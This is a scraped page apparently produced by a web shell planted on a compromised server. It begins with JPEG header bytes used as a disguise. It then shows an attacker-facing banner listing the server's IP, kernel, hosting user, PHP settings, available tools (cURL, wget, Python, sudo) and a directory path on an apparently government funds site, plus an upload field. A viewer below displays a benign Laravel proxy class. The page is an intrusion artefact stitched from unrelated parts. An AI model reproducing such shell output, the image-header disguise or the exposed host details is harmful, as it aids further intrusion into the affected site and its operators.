ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 13.58.1.6 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Collections/ |
Upload File : |
<?php namespace Illuminate\Support; /** * @mixin \Illuminate\Support\Enumerable */ class HigherOrderWhenProxy { /** * The collection being operated on. * * @var \Illuminate\Support\Enumerable */ protected $collection; /** * The condition for proxying. * * @var bool */ protected $condition; /** * Create a new proxy instance. * * @param \Illuminate\Support\Enumerable $collection * @param bool $condition * @return void */ public function __construct(Enumerable $collection, $condition) { $this->condition = $condition; $this->collection = $collection; } /** * Proxy accessing an attribute onto the collection. * * @param string $key * @return mixed */ public function __get($key) { return $this->condition ? $this->collection->{$key} : $this->collection; } /** * Proxy a method call onto the collection. * * @param string $method * @param array $parameters * @return mixed */ public function __call($method, $parameters) { return $this->condition ? $this->collection->{$method}(...$parameters) : $this->collection; } }